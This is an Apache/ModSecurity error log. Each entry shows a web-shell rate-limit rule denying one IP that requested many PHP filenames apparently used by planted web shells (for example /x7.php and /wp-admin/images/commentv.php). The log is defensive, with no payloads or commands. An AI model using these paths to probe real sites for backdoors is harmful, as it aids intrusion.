[Fri Feb 13 18:58:53.319477 2026] [:error] [pid 47575:tid 47585] [client 51.103.136.17:39305] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aY8D7QIPBuXb07mA_mS77AAAAsU"]
[Fri Feb 13 18:58:53.797858 2026] [:error] [pid 49223:tid 49251] [client 51.103.136.17:23692] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aY8D7R8A_fZBamNLnfVMsAAAABM"]
[Fri Feb 13 18:58:54.271842 2026] [:error] [pid 49225:tid 49296] [client 51.103.136.17:20634] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/muzu.php"] [unique_id "aY8D7jwH8-zGxtAd3jv9nQAAAII"]
[Fri Feb 13 18:58:54.744165 2026] [:error] [pid 49225:tid 49303] [client 51.103.136.17:43232] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aY8D7jwH8-zGxtAd3jv9ngAAAIk"]
[Fri Feb 13 18:58:55.223081 2026] [:error] [pid 18097:tid 18113] [client 51.103.136.17:33912] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aY8D73FzYiQ_BfaDDlYiDwAAAY4"]
[Fri Feb 13 18:58:55.695605 2026] [:error] [pid 18097:tid 18120] [client 51.103.136.17:58255] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aY8D73FzYiQ_BfaDDlYiEAAAAZU"]
[Fri Feb 13 18:58:56.177178 2026] [:error] [pid 49223:tid 49243] [client 51.103.136.17:5344] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/reze.php"] [unique_id "aY8D8B8A_fZBamNLnfVMsgAAAAs"]
[Fri Feb 13 18:58:56.648388 2026] [:error] [pid 47080:tid 47103] [client 51.103.136.17:51048] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aY8D8EbWJwYCVF39z6szggAAAc8"]
[Fri Feb 13 18:58:57.123500 2026] [:error] [pid 49223:tid 49245] [client 51.103.136.17:32026] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aY8D8R8A_fZBamNLnfVMswAAAA0"]
[Fri Feb 13 18:58:57.599152 2026] [:error] [pid 51243:tid 51265] [client 51.103.136.17:22407] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aY8D8cim7ZTAHzi7xZvCBwAAARQ"]
[Fri Feb 13 18:58:58.079991 2026] [:error] [pid 47358:tid 47378] [client 51.103.136.17:46628] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/styll.php"] [unique_id "aY8D8sQFBuVVUQTESUwH0QAAAow"]
[Fri Feb 13 18:58:58.552201 2026] [:error] [pid 49223:tid 49233] [client 51.103.136.17:61185] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aY8D8h8A_fZBamNLnfVMtwAAAAE"]
[Fri Feb 13 18:58:59.021994 2026] [:error] [pid 49223:tid 49250] [client 51.103.136.17:24683] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aY8D8x8A_fZBamNLnfVMugAAABI"]
[Fri Feb 13 18:58:59.502708 2026] [:error] [pid 49223:tid 49234] [client 51.103.136.17:56372] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aY8D8x8A_fZBamNLnfVMvAAAAAI"]
[Fri Feb 13 18:58:59.983248 2026] [:error] [pid 51243:tid 51256] [client 51.103.136.17:44533] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aY8D88im7ZTAHzi7xZvCDQAAAQs"]
[Fri Feb 13 18:59:00.493668 2026] [:error] [pid 47143:tid 47231] [client 51.103.136.17:50944] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thebe.php"] [unique_id "aY8D9MhV30NbMarHJLs5iAAAAlE"]
[Fri Feb 13 18:59:00.965944 2026] [:error] [pid 49223:tid 49247] [client 51.103.136.17:22448] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thebe.php"] [unique_id "aY8D9B8A_fZBamNLnfVMwAAAAA8"]
[Fri Feb 13 18:59:01.438389 2026] [:error] [pid 47080:tid 47104] [client 51.103.136.17:42188] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thebe.php"] [unique_id "aY8D9UbWJwYCVF39z6szjQAAAdA"]
[Fri Feb 13 18:59:01.918650 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:23692] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/thebe.php"] [unique_id "aY8D9UbWJwYCVF39z6szjgAAAdI"]
[Fri Feb 13 18:59:02.390155 2026] [:error] [pid 18097:tid 18112] [client 51.103.136.17:21363] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddd.php"] [unique_id "aY8D9nFzYiQ_BfaDDlYiEgAAAY0"]
[Fri Feb 13 18:59:02.863269 2026] [:error] [pid 47358:tid 47388] [client 51.103.136.17:21368] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddd.php"] [unique_id "aY8D9sQFBuVVUQTESUwH0gAAApY"]
[Fri Feb 13 18:59:03.344377 2026] [:error] [pid 51243:tid 51268] [client 51.103.136.17:5700] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddd.php"] [unique_id "aY8D98im7ZTAHzi7xZvCEQAAARc"]
[Fri Feb 13 18:59:03.817234 2026] [:error] [pid 47143:tid 47223] [client 51.103.136.17:42195] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ddd.php"] [unique_id "aY8D98hV30NbMarHJLs5jAAAAkk"]
[Fri Feb 13 18:59:04.291723 2026] [:error] [pid 47143:tid 47235] [client 51.103.136.17:42218] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aY8D-MhV30NbMarHJLs5kAAAAlU"]
[Fri Feb 13 18:59:04.768033 2026] [:error] [pid 46821:tid 46837] [client 51.103.136.17:20625] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aY8D-I6G1N5YSq0J0gcIKwAAAU4"]
[Fri Feb 13 18:59:05.243411 2026] [:error] [pid 47358:tid 47368] [client 51.103.136.17:58250] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aY8D-cQFBuVVUQTESUwH3QAAAoM"]
[Fri Feb 13 18:59:05.716306 2026] [:error] [pid 49335:tid 49357] [client 51.103.136.17:20735] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aY8D-ap--SFY2nwOiqlfQAAAANQ"]
[Fri Feb 13 18:59:06.189144 2026] [:error] [pid 49335:tid 49343] [client 51.103.136.17:21331] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aY8D-qp--SFY2nwOiqlfRQAAAMY"]
[Fri Feb 13 18:59:06.688685 2026] [:error] [pid 47358:tid 47379] [client 51.103.136.17:21347] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aY8D-sQFBuVVUQTESUwH6QAAAo0"]
[Fri Feb 13 18:59:07.159761 2026] [:error] [pid 18097:tid 18104] [client 51.103.136.17:38931] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aY8D-3FzYiQ_BfaDDlYiFAAAAYU"]
[Fri Feb 13 18:59:07.643682 2026] [:error] [pid 47143:tid 47230] [client 51.103.136.17:21360] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aY8D-8hV30NbMarHJLs5lgAAAlA"]
[Fri Feb 13 18:59:08.117541 2026] [:error] [pid 47080:tid 47111] [client 51.103.136.17:21874] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aY8D_EbWJwYCVF39z6szqwAAAdc"]
[Fri Feb 13 18:59:08.601670 2026] [:error] [pid 47575:tid 47590] [client 51.103.136.17:21837] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aY8D_AIPBuXb07mA_mS78wAAAso"]
[Fri Feb 13 18:59:09.072754 2026] [:error] [pid 47080:tid 47093] [client 51.103.136.17:25584] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aY8D_UbWJwYCVF39z6szsAAAAcU"]
[Fri Feb 13 18:59:09.547374 2026] [:error] [pid 51243:tid 51256] [client 51.103.136.17:25589] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8xyz.php"] [unique_id "aY8D_cim7ZTAHzi7xZvCFAAAAQs"]
[Fri Feb 13 18:59:10.017793 2026] [:error] [pid 46821:tid 46832] [client 51.103.136.17:45997] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8D_o6G1N5YSq0J0gcILQAAAUk"]
[Fri Feb 13 18:59:10.489359 2026] [:error] [pid 49225:tid 49306] [client 51.103.136.17:20685] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8D_jwH8-zGxtAd3jv9rQAAAIw"]
[Fri Feb 13 18:59:10.961881 2026] [:error] [pid 47080:tid 47105] [client 51.103.136.17:57958] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8D_kbWJwYCVF39z6sztAAAAdE"]
[Fri Feb 13 18:59:11.437656 2026] [:error] [pid 51243:tid 51246] [client 51.103.136.17:51050] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi.php"] [unique_id "aY8D_8im7ZTAHzi7xZvCFwAAAQE"]
[Fri Feb 13 18:59:11.917849 2026] [:error] [pid 47080:tid 47089] [client 51.103.136.17:43242] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aY8D_0bWJwYCVF39z6szugAAAcE"]
[Fri Feb 13 18:59:12.388144 2026] [:error] [pid 47143:tid 47237] [client 51.103.136.17:38713] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aY8EAMhV30NbMarHJLs5nAAAAlc"]
[Fri Feb 13 18:59:12.867615 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:38698] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aY8EAB8A_fZBamNLnfVM4gAAAA4"]
[Fri Feb 13 18:59:13.340741 2026] [:error] [pid 18097:tid 18105] [client 51.103.136.17:23729] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xpwer1.php"] [unique_id "aY8EAXFzYiQ_BfaDDlYiGgAAAYY"]
[Fri Feb 13 18:59:13.814234 2026] [:error] [pid 49223:tid 49249] [client 51.103.136.17:26205] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aY8EAR8A_fZBamNLnfVM5AAAABE"]
[Fri Feb 13 18:59:14.291338 2026] [:error] [pid 47143:tid 47230] [client 51.103.136.17:26754] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aY8EAshV30NbMarHJLs5ngAAAlA"]
[Fri Feb 13 18:59:14.763759 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:46002] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aY8EAh8A_fZBamNLnfVM5gAAAAY"]
[Fri Feb 13 18:59:15.233398 2026] [:error] [pid 49225:tid 49312] [client 51.103.136.17:56380] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aY8EAzwH8-zGxtAd3jv9tAAAAJI"]
[Fri Feb 13 18:59:15.705469 2026] [:error] [pid 46821:tid 46830] [client 51.103.136.17:19969] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EA46G1N5YSq0J0gcIMgAAAUc"]
[Fri Feb 13 18:59:16.180735 2026] [:error] [pid 47575:tid 47598] [client 51.103.136.17:38670] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EBAIPBuXb07mA_mS7-wAAAtE"]
[Fri Feb 13 18:59:16.653521 2026] [:error] [pid 47358:tid 47389] [client 51.103.136.17:46002] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EBMQFBuVVUQTESUwH-gAAApc"]
[Fri Feb 13 18:59:17.125178 2026] [:error] [pid 18097:tid 18103] [client 51.103.136.17:50965] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/about.php"] [unique_id "aY8EBXFzYiQ_BfaDDlYiIQAAAYQ"]
[Fri Feb 13 18:59:17.596193 2026] [:error] [pid 46821:tid 46838] [client 51.103.136.17:26222] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY8EBY6G1N5YSq0J0gcINAAAAU8"]
[Fri Feb 13 18:59:18.067178 2026] [:error] [pid 47143:tid 47227] [client 51.103.136.17:25590] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY8EBshV30NbMarHJLs5ogAAAk0"]
[Fri Feb 13 18:59:18.538558 2026] [:error] [pid 49225:tid 49305] [client 51.103.136.17:30752] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY8EBjwH8-zGxtAd3jv9twAAAIs"]
[Fri Feb 13 18:59:19.012288 2026] [:error] [pid 46821:tid 46828] [client 51.103.136.17:38656] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/commentv.php"] [unique_id "aY8EB46G1N5YSq0J0gcINQAAAUU"]
[Fri Feb 13 18:59:19.487810 2026] [:error] [pid 49223:tid 49255] [client 51.103.136.17:34201] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aY8EBx8A_fZBamNLnfVM7wAAABc"]
